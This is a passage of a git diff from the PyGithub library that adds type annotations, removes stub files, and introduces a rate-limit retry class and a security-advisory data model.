installation_id: int - :rtype: :class:`github.Installation.Installation` """ return self._get_installed_app(url=f"/app/installations/{installation_id}") + + def get_app(self) -> GithubApp: + """ + :calls: `GET /app `_ + """ + + headers, data = self.__requester.requestJsonAndCheck("GET", "/app", headers=self._get_headers()) + return GithubApp(requester=self.__requester, headers=headers, attributes=data, completed=True) diff --git a/github/GithubIntegration.pyi b/github/GithubIntegration.pyi deleted file mode 100644 index f1f202c51a..0000000000 --- a/github/GithubIntegration.pyi +++ /dev/null @@ -1,34 +0,0 @@ -from typing import Union, Optional, Dict - -from github.Installation import Installation -from github.InstallationAuthorization import InstallationAuthorization -from github.PaginatedList import PaginatedList -from github.Requester import Requester - -class GithubIntegration: - integration_id: Union[int, str] = ... - private_key: str = ... - base_url: str = ... - jwt_expiry: int = ... - jwt_issued_at: int = ... - __requester: Requester = ... - def __init__( - self, - integration_id: Union[int, str], - private_key: str, - base_url: str = ..., - jwt_expiry: int = ..., - jwt_issued_at: int = ..., - ) -> None: ... - def _get_installed_app(self, url: str) -> Installation: ... - def _get_headers(self) -> Dict[str, str]: ... - def create_jwt(self, expiration: Optional[int] = ...) -> str: ... - def get_access_token( - self, installation_id: int, permissions: Optional[Dict[str, str]] = ... - ) -> InstallationAuthorization: ... - def get_app_installation(self, installation_id: int) -> Installation: ... - def get_installation(self, owner: str, repo: str) -> Installation: ... - def get_installations(self) -> PaginatedList[Installation]: ... - def get_org_installation(self, org: str) -> Installation: ... - def get_repo_installation(self, owner: str, repo: str) -> Installation: ... - def get_user_installation(self, username: str) -> Installation: ... diff --git a/github/GithubObject.py b/github/GithubObject.py index c62a66774b..ac121e488c 100644 --- a/github/GithubObject.py +++ b/github/GithubObject.py @@ -10,7 +10,22 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Christoph Reiter # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Nicolas Schweitzer # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,40 +45,116 @@ # # ################################################################################ -import datetime +import email.utils +import typing +from datetime import datetime, timezone +from decimal import Decimal from operator import itemgetter +from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Type, Union -from . import Consts, GithubException +from typing_extensions import Protocol, TypeGuard + +from . import Consts +from .GithubException import BadAttributeException, IncompletableObject + +if TYPE_CHECKING: + from .Requester import Requester + +T = typing.TypeVar("T") +K = typing.TypeVar("K") +T_co = typing.TypeVar("T_co", covariant=True) +T_gh = typing.TypeVar("T_gh", bound="GithubObject") + + +class Attribute(Protocol[T_co]): + @property + def value(self) -> T_co: + raise NotImplementedError + + +def _datetime_from_http_date(value: str) -> datetime: + """ + Convert an HTTP date to a datetime object. + Raises ValueError for invalid dates. + """ + + dt = email.utils.parsedate_to_datetime(value) + if dt.tzinfo is None: + # RFC7231 states that UTC is assumed if no timezone info is present + return dt.replace(tzinfo=timezone.utc) + return dt + + +def _datetime_from_github_isoformat(value: str) -> datetime: + """ + Convert an GitHub API timestamps to a datetime object. + Raises ValueError for invalid timestamps. + """ + + # Github always returns YYYY-MM-DDTHH:MM:SSZ, so we can use the stdlib parser + # with some minor adjustments for Python < 3.11 which doesn't support "Z" + # https://docs.github.com/en/rest/overview/resources-in-the-rest-api#schema + if value.endswith("Z"): + value = value[:-1] + "+00:00" + return datetime.fromisoformat(value) class _NotSetType: - def __repr__(self): + def __repr__(self) -> str: return "NotSet" - value = None + @property + def value(self) -> Any: + return None + + @staticmethod + def remove_unset_items(data: Dict[str, Any]) -> Dict[str, Any]: + return {key: value for key, value in data.items() if not isinstance(value, _NotSetType)} NotSet = _NotSetType() +Opt = Union[T, _NotSetType] + + +def is_defined(v: Union[T, _NotSetType]) -> TypeGuard[T]: + return not isinstance(v, _NotSetType) + + +def is_undefined(v: Union[T, _NotSetType]) -> TypeGuard[_NotSetType]: + return isinstance(v, _NotSetType) + -class _ValuedAttribute: - def __init__(self, value): - self.value = value +def is_optional(v: Any, type: Union[Type, Tuple[Type, ...]]) -> bool: + return isinstance(v, _NotSetType) or isinstance(v, type) -class _BadAttribute: - def __init__(self, value, expectedType, exception=None): +def is_optional_list(v: Any, type: Union[Type, Tuple[Type, ...]]) -> bool: + return isinstance(v, _NotSetType) or isinstance(v, list) and all(isinstance(element, type) for element in v) + + +class _ValuedAttribute(Attribute[T]): + def __init__(self, value: T): + self._value = value + + @property + def value(self) -> T: + return self._value + + +class _BadAttribute(Attribute): + def __init__(self, value: Any, expectedType: Any, exception: Optional[Exception] = None): self.__value = value self.__expectedType = expectedType self.__exception = exception @property - def value(self): - raise GithubException.BadAttributeException( - self.__value, self.__expectedType, self.__exception - ) + def value(self) -> Any: + raise BadAttributeException(self.__value, self.__expectedType, self.__exception) +# v3: add * to edit function of all GithubObject implementations, +# this allows to rename attributes and maintain the order of attributes class GithubObject: """ Base class for all classes representing objects returned by the API. @@ -73,12 +164,19 @@ class GithubObject: A global debug flag to enable header validation by requester for all objects """ CHECK_AFTER_INIT_FLAG = False + _url: Attribute[str] @classmethod - def setCheckAfterInitFlag(cls, flag): + def setCheckAfterInitFlag(cls, flag: bool) -> None: cls.CHECK_AFTER_INIT_FLAG = flag - def __init__(self, requester, headers, attributes, completed): + def __init__( + self, + requester: "Requester", + headers: Dict[str, Union[str, int]], + attributes: Any, + completed: bool, + ): self._requester = requester self._initAttributes() self._storeAndUseAttributes(headers, attributes) @@ -88,7 +186,7 @@ def __init__(self, requester, headers, attributes, completed): if self.CHECK_AFTER_INIT_FLAG: # pragma no branch (Flag always set in tests) requester.check_me(self) - def _storeAndUseAttributes(self, headers, attributes): + def _storeAndUseAttributes(self, headers: Dict[str, Union[str, int]], attributes: Any) -> None: # Make sure headers are assigned before calling _useAttributes # (Some derived classes will use headers in _useAttributes) self._headers = headers @@ -96,7 +194,7 @@ def _storeAndUseAttributes(self, headers, attributes): self._useAttributes(attributes) @property - def raw_data(self): + def raw_data(self) -> Dict[str, Any]: """ :type: dict """ @@ -104,7 +202,7 @@ def raw_data(self): return self._rawData @property - def raw_headers(self): + def raw_headers(self) -> Dict[str, Union[str, int]]: """ :type: dict """ @@ -112,96 +210,76 @@ def raw_headers(self): return self._headers @staticmethod - def _parentUrl(url): + def _parentUrl(url: str) -> str: return "/".join(url.split("/")[:-1]) @staticmethod - def __makeSimpleAttribute(value, type): + def __makeSimpleAttribute(value: Any, type: Type[T]) -> Attribute[T]: if value is None or isinstance(value, type): - return _ValuedAttribute(value) + return _ValuedAttribute(value) # type: ignore else: - return _BadAttribute(value, type) + return _BadAttribute(value, type) # type: ignore @staticmethod - def __makeSimpleListAttribute(value, type): - if isinstance(value, list) and all( - isinstance(element, type) for element in value - ): - return _ValuedAttribute(value) + def __makeSimpleListAttribute(value: list, type: Type[T]) -> Attribute[T]: + if isinstance(value, list) and all(isinstance(element, type) for element in value): + return _ValuedAttribute(value) # type: ignore else: - return _BadAttribute(value, [type]) + return _BadAttribute(value, [type]) # type: ignore @staticmethod - def __makeTransformedAttribute(value, type, transform): + def __makeTransformedAttribute(value: T, type: Type[T], transform: Callable[[T], K]) -> Attribute[K]: if value is None: - return _ValuedAttribute(None) + return _ValuedAttribute(None) # type: ignore elif isinstance(value, type): try: return _ValuedAttribute(transform(value)) except Exception as e: - return _BadAttribute(value, type, e) + return _BadAttribute(value, type, e) # type: ignore else: - return _BadAttribute(value, type) + return _BadAttribute(value, type) # type: ignore @staticmethod - def _makeStringAttribute(value): + def _makeStringAttribute(value: Optional[Union[int, str]]) -> Attribute[str]: return GithubObject.__makeSimpleAttribute(value, str) @staticmethod - def _makeIntAttribute(value): + def _makeIntAttribute(value: Optional[Union[int, str]]) -> Attribute[int]: return GithubObject.__makeSimpleAttribute(value, int) @staticmethod - def _makeFloatAttribute(value): + def _makeDecimalAttribute(value: Optional[Decimal]) -> Attribute[Decimal]: + return GithubObject.__makeSimpleAttribute(value, Decimal) + + @staticmethod + def _makeFloatAttribute(value: Optional[float]) -> Attribute[float]: return GithubObject.__makeSimpleAttribute(value, float) @staticmethod - def _makeBoolAttribute(value): + def _makeBoolAttribute(value: Optional[bool]) -> Attribute[bool]: return GithubObject.__makeSimpleAttribute(value, bool) @staticmethod - def _makeDictAttribute(value): + def _makeDictAttribute(value: Dict[str, Any]) -> Attribute[Dict[str, Any]]: return GithubObject.__makeSimpleAttribute(value, dict) @staticmethod - def _makeTimestampAttribute(value): + def _makeTimestampAttribute(value: int) -> Attribute[datetime]: return GithubObject.__makeTransformedAttribute( - value, int, datetime.datetime.utcfromtimestamp + value, + int, + lambda t: datetime.fromtimestamp(t, tz=timezone.utc), ) @staticmethod - def _makeDatetimeAttribute(value): - def parseDatetime(s): - if ( - len(s) == 24 - ): # pragma no branch (This branch was used only when creating a download) - # The Downloads API has been removed. I'm keeping this branch because I have no mean - # to check if it's really useless now. - try: - return datetime.datetime.strptime( - s, "%Y-%m-%dT%H:%M:%S.000Z" - ) # pragma no cover (This branch was used only when creating a download) - except ValueError: - # Dates returned for actions runner include milliseconds, but strptime wants microseconds - return datetime.datetime.strptime( - f"{s[:-1]}000{s[-1]}", "%Y-%m-%dT%H:%M:%S.%fZ" - ) - if len(s) >= 29: - # Milliseconds and timezone included - return datetime.datetime.strptime(s[:19], "%Y-%m-%dT%H:%M:%S") + ( - 1 if s[23] == "-" else -1 - ) * datetime.timedelta(hours=int(s[24:26]), minutes=int(s[27:29])) - elif len(s) >= 25: - # Timezone included, but no milliseconds - return datetime.datetime.strptime(s[:19], "%Y-%m-%dT%H:%M:%S") + ( - 1 if s[19] == "-" else -1 - ) * datetime.timedelta(hours=int(s[20:22]), minutes=int(s[23:25])) - else: - return datetime.datetime.strptime(s, "%Y-%m-%dT%H:%M:%SZ") - - return GithubObject.__makeTransformedAttribute(value, str, parseDatetime) - - def _makeClassAttribute(self, klass, value): + def _makeDatetimeAttribute(value: Optional[str]) -> Attribute[datetime]: + return GithubObject.__makeTransformedAttribute(value, str, _datetime_from_github_isoformat) # type: ignore + + @staticmethod + def _makeHttpDatetimeAttribute(value: Optional[str]) -> Attribute[datetime]: + return GithubObject.__makeTransformedAttribute(value, str, _datetime_from_http_date) # type: ignore + + def _makeClassAttribute(self, klass: Type[T_gh], value: Any) -> Attribute[T_gh]: return GithubObject.__makeTransformedAttribute( value, dict, @@ -209,68 +287,77 @@ def _makeClassAttribute(self, klass, value): ) @staticmethod - def _makeListOfStringsAttribute(value): + def _makeListOfStringsAttribute(value: Union[List[List[str]], List[str], List[Union[str, int]]]) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, str) @staticmethod - def _makeListOfIntsAttribute(value): + def _makeListOfIntsAttribute(value: List[int]) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, int) @staticmethod - def _makeListOfDictsAttribute(value): + def _makeListOfDictsAttribute( + value: List[Dict[str, Union[str, List[Dict[str, Union[str, List[int]]]]]]] + ) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, dict) @staticmethod - def _makeListOfListOfStringsAttribute(value): + def _makeListOfListOfStringsAttribute( + value: List[List[str]], + ) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, list) - def _makeListOfClassesAttribute(self, klass, value): - if isinstance(value, list) and all( - isinstance(element, dict) for element in value - ): + def _makeListOfClassesAttribute(self, klass: Type[T_gh], value: Any) -> Attribute[List[T_gh]]: + if isinstance(value, list) and all(isinstance(element, dict) for element in value): return _ValuedAttribute( - [ - klass(self._requester, self._headers, element, completed=False) - for element in value - ] + [klass(self._requester, self._headers, element, completed=False) for element in value] ) else: return _BadAttribute(value, [dict]) - def _makeDictOfStringsToClassesAttribute(self, klass, value): + def _makeDictOfStringsToClassesAttribute( + self, + klass: Type[T_gh], + value: Dict[ + str, + Union[int, Dict[str, Union[str, int, None]], Dict[str, Union[str, int]]], + ], + ) -> Attribute[Dict[str, T_gh]]: if isinstance(value, dict) and all( - isinstance(key, str) and isinstance(element, dict) - for key, element in value.items() + isinstance(key, str) and isinstance(element, dict) for key, element in value.items() ): return _ValuedAttribute( - { - key: klass(self._requester, self._headers, element, completed=False) - for key, element in value.items() - } + {key: klass(self._requester, self._headers, element, completed=False) for key, element in value.items()} ) else: return _BadAttribute(value, {str: dict}) @property - def etag(self): + def etag(self) -> Optional[str]: """ :type: str """ - return self._headers.get(Consts.RES_ETAG) + return self._headers.get(Consts.RES_ETAG) # type: ignore @property - def last_modified(self): + def last_modified(self) -> Optional[str]: """ :type: str """ - return self._headers.get(Consts.RES_LAST_MODIFIED) + return self._headers.get(Consts.RES_LAST_MODIFIED) # type: ignore + + @property + def last_modified_datetime(self) -> Optional[datetime]: + """ + :type: datetime + """ + return self._makeHttpDatetimeAttribute(self.last_modified).value # type: ignore - def get__repr__(self, params): + def get__repr__(self, params: Dict[str, Any]) -> str: """ Converts the object to a nicely printable string. """ - def format_params(params): + def format_params(params: Dict[str, Any]) -> typing.Generator[str, None, None]: items = list(params.items()) for k, v in sorted(items, key=itemgetter(0), reverse=True): if isinstance(v, bytes): @@ -284,44 +371,57 @@ def format_params(params): params=", ".join(list(format_params(params))), ) + def _initAttributes(self) -> None: + raise NotImplementedError("BUG: Not Implemented _initAttributes") + + def _useAttributes(self, attributes: Any) -> None: + raise NotImplementedError("BUG: Not Implemented _useAttributes") + + def _completeIfNeeded(self) -> None: + raise NotImplementedError("BUG: Not Implemented _completeIfNeeded") + class NonCompletableGithubObject(GithubObject): - def _completeIfNeeded(self): + def _completeIfNeeded(self) -> None: pass class CompletableGithubObject(GithubObject): - def __init__(self, requester, headers, attributes, completed): + def __init__( + self, + requester: "Requester", + headers: Dict[str, Union[str, int]], + attributes: Dict[str, Any], + completed: bool, + ): super().__init__(requester, headers, attributes, completed) self.__completed = completed - def __eq__(self, other): + def __eq__(self, other: Any) -> bool: return other.__class__ is self.__class__ and other._url.value == self._url.value - def __hash__(self): + def __hash__(self) -> int: return hash(self._url.value) - def __ne__(self, other): + def __ne__(self, other: Any) -> bool: return not self == other - def _completeIfNotSet(self, value): - if value is NotSet: + def _completeIfNotSet(self, value: Attribute) -> None: + if isinstance(value, _NotSetType): self._completeIfNeeded() - def _completeIfNeeded(self): + def _completeIfNeeded(self) -> None: if not self.__completed: self.__complete() - def __complete(self): + def __complete(self) -> None: if self._url.value is None: - raise GithubException.IncompletableObject( - 400, "Returned object contains no URL", None - ) + raise IncompletableObject(400, message="Returned object contains no URL") headers, data = self._requester.requestJsonAndCheck("GET", self._url.value) self._storeAndUseAttributes(headers, data) self.__completed = True - def update(self, additional_headers=None): + def update(self, additional_headers: Optional[Dict[str, Any]] = None) -> bool: """ Check and update the object with conditional request :rtype: Boolean value indicating whether the object is changed @@ -340,9 +440,7 @@ def update(self, additional_headers=None): if status == 304: return False else: - headers, data = self._requester._Requester__check( - status, responseHeaders, output - ) + headers, data = self._requester._Requester__check(status, responseHeaders, output) # type: ignore self._storeAndUseAttributes(headers, data) self.__completed = True return True diff --git a/github/GithubObject.pyi b/github/GithubObject.pyi deleted file mode 100644 index 9efa797d9a..0000000000 --- a/github/GithubObject.pyi +++ /dev/null @@ -1,121 +0,0 @@ -from typing import Any, Callable, Dict, List, Optional, Type, Union - -from github.GistFile import GistFile -from github.Requester import Requester - -class GithubObject: - def __init__( - self, - requester: Optional[Requester], - headers: Dict[str, Union[str, int]], - attributes: Any, - completed: bool, - ) -> None: ... - @staticmethod - def _makeBoolAttribute(value: Optional[bool]) -> _ValuedAttribute: ... - def _makeClassAttribute( - self, klass: Any, value: Any - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def _makeDatetimeAttribute( - value: Optional[Union[int, str]] - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def _makeDictAttribute(value: Dict[str, Any]) -> _ValuedAttribute: ... - def _makeDictOfStringsToClassesAttribute( - self, - klass: Type[GistFile], - value: Dict[ - str, - Union[int, Dict[str, Union[str, int, None]], Dict[str, Union[str, int]]], - ], - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def _makeIntAttribute( - value: Optional[Union[int, str]] - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - def _makeListOfClassesAttribute( - self, klass: Any, value: Any - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def _makeListOfDictsAttribute( - value: List[Dict[str, Union[str, List[Dict[str, Union[str, List[int]]]]]]] - ) -> _ValuedAttribute: ... - @staticmethod - def _makeListOfIntsAttribute(value: List[int]) -> _ValuedAttribute: ... - @staticmethod - def _makeListOfListOfStringsAttribute( - value: List[List[str]], - ) -> _ValuedAttribute: ... - @staticmethod - def _makeListOfStringsAttribute( - value: Union[List[List[str]], List[str], List[Union[str, int]]] - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def __makeSimpleAttribute( - value: Any, type: type - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def __makeSimpleListAttribute( - value: list, type: type - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def __makeTransformedAttribute( - value: Any, type: type, transform: Callable[..., Any] - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def _makeStringAttribute( - value: Optional[Union[int, str]] - ) -> Union[_ValuedAttribute, _BadAttribute]: ... - @staticmethod - def _makeTimestampAttribute(value: int) -> _ValuedAttribute: ... - @staticmethod - def _parentUrl(url: str) -> str: ... - def _storeAndUseAttributes( - self, headers: Dict[str, Union[str, int]], attributes: Any - ) -> None: ... - @property - def etag(self) -> Optional[str]: ... - def get__repr__(self, params: Dict[str, Any]) -> str: ... - @property - def last_modified(self) -> Optional[str]: ... - @property - def raw_data(self) -> Dict[str, Any]: ... - @property - def raw_headers(self) -> Dict[str, Union[str, int]]: ... - @classmethod - def setCheckAfterInitFlag(cls, flag: bool) -> None: ... - -class NonCompletableGithubObject(GithubObject): - def _completeIfNeeded(self) -> None: ... - -class CompletableGithubObject(GithubObject): - def __eq__(self, other: Any) -> bool: ... - def __init__( - self, - requester: Requester, - headers: Dict[str, Union[str, int]], - attributes: Dict[str, Any], - completed: bool, - ) -> None: ... - def __ne__(self, other: Any) -> bool: ... - def _completeIfNeeded(self) -> None: ... - def _completeIfNotSet( - self, value: Union[_ValuedAttribute, _BadAttribute, _NotSetType] - ) -> None: ... - def update(self, additional_headers: Optional[Dict[str, str]]=None) -> bool: ... - -class _BadAttribute: - def __init__( - self, value: Any, expectedType: Any, exception: Optional[ValueError] = ... - ) -> None: ... - @property - def value(self) -> Any: ... - -class _NotSetType: - def __repr__(self) -> str: ... - -NotSet: _NotSetType - -class _ValuedAttribute: - def __init__(self, value: Any) -> None: ... diff --git a/github/GithubRetry.py b/github/GithubRetry.py new file mode 100644 index 0000000000..2fe04c49dd --- /dev/null +++ b/github/GithubRetry.py @@ -0,0 +1,227 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Patryk Szulczyk # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import json +import logging +from datetime import datetime, timezone +from logging import Logger +from types import TracebackType +from typing import Any, Optional + +from requests import Response +from requests.models import CaseInsensitiveDict +from requests.utils import get_encoding_from_headers +from typing_extensions import Self +from urllib3 import Retry +from urllib3.connectionpool import ConnectionPool +from urllib3.exceptions import MaxRetryError +from urllib3.response import HTTPResponse + +from github.GithubException import GithubException +from github.Requester import Requester + +DEFAULT_SECONDARY_RATE_WAIT: int = 60 + + +class GithubRetry(Retry): + """ + A Github-specific implementation of `urllib3.Retry` + + This retries 403 responses if they are retry-able. Github requests are retry-able when + the response provides a `"Retry-After"` header, or the content indicates a rate limit error. + + By default, response codes 403, and 500 up to 599 are retried. This can be configured + via the `status_forcelist` argument. + + By default, all methods defined in `Retry.DEFAULT_ALLOWED_METHODS` are retried, plus GET and POST. + This can be configured via the `allowed_methods` argument. + """ + + __logger: Optional[Logger] = None + + # used to mock datetime, mock.patch("github.GithubRetry.date") does not work as this + # references the class, not the module (due to re-exporting in github/__init__.py) + __datetime = datetime + + def __init__(self, secondary_rate_wait: float = DEFAULT_SECONDARY_RATE_WAIT, **kwargs: Any) -> None: + """ + :param secondary_rate_wait: seconds to wait before retrying secondary rate limit errors + :param kwargs: see urllib3.Retry for more arguments + """ + self.secondary_rate_wait = secondary_rate_wait + # 403 is too broad to be retried, but GitHub API signals rate limits via 403 + # we retry 403 and look into the response header via Retry.increment + # to determine if we really retry that 403 + kwargs["status_forcelist"] = kwargs.get("status_forcelist", list(range(500, 600))) + [403] + kwargs["allowed_methods"] = kwargs.get("allowed_methods", Retry.DEFAULT_ALLOWED_METHODS.union({"GET", "POST"})) + super().__init__(**kwargs) + + def new(self, **kw: Any) -> Self: + kw.update(dict(secondary_rate_wait=self.secondary_rate_wait)) + return super().new(**kw) # type: ignore + + def increment( + self, + method: Optional[str] = None, + url: Optional[str] = None, + response: Optional[HTTPResponse] = None, # type: ignore[override] + error: Optional[Exception] = None, + _pool: Optional[ConnectionPool] = None, + _stacktrace: Optional[TracebackType] = None, + ) -> Retry: + if response: + # we retry 403 only when there is a Retry-After header (indicating it is retry-able) + # or the body message does imply a rate limit error + if response.status == 403: + self.__log( + logging.INFO, + f"Request {method} {url} failed with {response.status}: {response.reason}", + ) + if "Retry-After" in response.headers: + # Sleeping 'Retry-After' seconds is implemented in urllib3.Retry.sleep() and called by urllib3 + self.__log( + logging.INFO, + f'Retrying after {response.headers.get("Retry-After")} seconds', + ) + else: + content = response.reason + + # to identify retry-able methods, we inspect the response body + try: + content = self.get_content(response, url) # type: ignore + content = json.loads(content) # type: ignore + message = content.get("message") # type: ignore + except Exception as e: + # we want to fall back to the actual github exception (probably a rate limit error) + # but provide some context why we could not deal with it without another exception + try: + raise RuntimeError("Failed to inspect response message") from e + except RuntimeError as e: + raise GithubException(response.status, content, response.headers) from e # type: ignore + + try: + if Requester.isRateLimitError(message): + rate_type = "primary" if Requester.isPrimaryRateLimitError(message) else "secondary" + self.__log( + logging.DEBUG, + f"Response body indicates retry-able {rate_type} rate limit error: {message}", + ) + + # check early that we are retrying at all + retry = super().increment(method, url, response, error, _pool, _stacktrace) + + # we backoff primary rate limit at least until X-RateLimit-Reset, + # we backoff secondary rate limit at for secondary_rate_wait seconds + backoff = 0.0 + + if Requester.isPrimaryRateLimitError(message): + if "X-RateLimit-Reset" in response.headers: + value = response.headers.get("X-RateLimit-Reset") + if value and value.isdigit(): + reset = self.__datetime.fromtimestamp(int(value), timezone.utc) + delta = reset - self.__datetime.now(timezone.utc) + resetBackoff = delta.total_seconds() + + if resetBackoff > 0: + self.__log( + logging.DEBUG, + f"Reset occurs in {str(delta)} ({value} / {reset})", + ) + + # plus 1s as it is not clear when in that second the reset occurs + backoff = resetBackoff + 1 + else: + backoff = self.secondary_rate_wait + + # we backoff at least retry's next backoff + retry_backoff = retry.get_backoff_time() + if retry_backoff > backoff: + if backoff > 0: + self.__log( + logging.DEBUG, + f"Retry backoff of {retry_backoff}s exceeds " + f"required rate limit backoff of {backoff}s".replace(".0s", "s"), + ) + backoff = retry_backoff + + def get_backoff_time() -> float: + return backoff + + self.__log( + logging.INFO, + f"Setting next backoff to {backoff}s".replace(".0s", "s"), + ) + retry.get_backoff_time = get_backoff_time # type: ignore + return retry + + self.__log( + logging.DEBUG, + "Response message does not indicate retry-able error", + ) + raise Requester.createException(response.status, response.headers, content) # type: ignore + except (MaxRetryError, GithubException): + raise + except Exception as e: + # we want to fall back to the actual github exception (probably a rate limit error) + # but provide some context why we could not deal with it without another exception + try: + raise RuntimeError("Failed to determine retry backoff") from e + except RuntimeError as e: + raise GithubException(response.status, content, response.headers) from e # type: ignore + + raise GithubException( + response.status, # type: ignore + content, # type: ignore + response.headers, # type: ignore + ) # type: ignore + + # retry the request as usual + return super().increment(method, url, response, error, _pool, _stacktrace) + + @staticmethod + def get_content(resp: HTTPResponse, url: str) -> bytes: # type: ignore[override] + # logic taken from HTTPAdapter.build_response (requests.adapters) + response = Response() + + # Fallback to None if there's no status_code, for whatever reason. + response.status_code = getattr(resp, "status", None) # type: ignore + + # Make headers case-insensitive. + response.headers = CaseInsensitiveDict(getattr(resp, "headers", {})) + + # Set encoding. + response.encoding = get_encoding_from_headers(response.headers) + response.raw = resp + response.reason = response.raw.reason # type: ignore + + response.url = url + + return response.content + + def __log(self, level: int, message: str, **kwargs: Any) -> None: + if self.__logger is None: + self.__logger = logging.getLogger(__name__) + if self.__logger.isEnabledFor(level): + self.__logger.log(level, message, **kwargs) diff --git a/github/GitignoreTemplate.py b/github/GitignoreTemplate.py index 2f6cc23728..1f5fe0936e 100644 --- a/github/GitignoreTemplate.py +++ b/github/GitignoreTemplate.py @@ -1,6 +1,7 @@ ############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # @@ -8,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,36 +34,32 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class GitignoreTemplate(github.GithubObject.NonCompletableGithubObject): + +class GitignoreTemplate(NonCompletableGithubObject): """ This class represents GitignoreTemplates. The reference can be found here https://docs.github.com/en/rest/reference/gitignore """ - def __repr__(self): + def _initAttributes(self) -> None: + self._source: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def source(self): - """ - :type: string - """ + def source(self) -> str: return self._source.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value - def _initAttributes(self): - self._source = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "source" in attributes: # pragma no branch self._source = self._makeStringAttribute(attributes["source"]) if "name" in attributes: # pragma no branch diff --git a/github/GitignoreTemplate.pyi b/github/GitignoreTemplate.pyi deleted file mode 100644 index f7f8a748af..0000000000 --- a/github/GitignoreTemplate.pyi +++ /dev/null @@ -1,12 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class GitignoreTemplate(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def name(self) -> str: ... - @property - def source(self) -> str: ... diff --git a/github/GlobalAdvisory.py b/github/GlobalAdvisory.py new file mode 100644 index 0000000000..cb59d7a15e --- /dev/null +++ b/github/GlobalAdvisory.py @@ -0,0 +1,118 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Joseph Henrich # +# Copyright 2024 Thomas Cooper # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from datetime import datetime +from typing import Any + +from github.AdvisoryBase import AdvisoryBase +from github.AdvisoryCreditDetailed import AdvisoryCreditDetailed +from github.AdvisoryVulnerability import AdvisoryVulnerability +from github.GithubObject import Attribute, NotSet + + +class GlobalAdvisory(AdvisoryBase): + """ + This class represents a GlobalAdvisory. + https://docs.github.com/en/rest/security-advisories/global-advisories + """ + + def _initAttributes(self) -> None: + self._credits: Attribute[list[AdvisoryCreditDetailed]] = NotSet + self._github_reviewed_at: Attribute[datetime] = NotSet + self._nvd_published_at: Attribute[datetime] = NotSet + self._references: Attribute[list[str]] = NotSet + self._repository_advisory_url: Attribute[str] = NotSet + self._source_code_location: Attribute[str] = NotSet + self._type: Attribute[str] = NotSet + self._vulnerabilities: 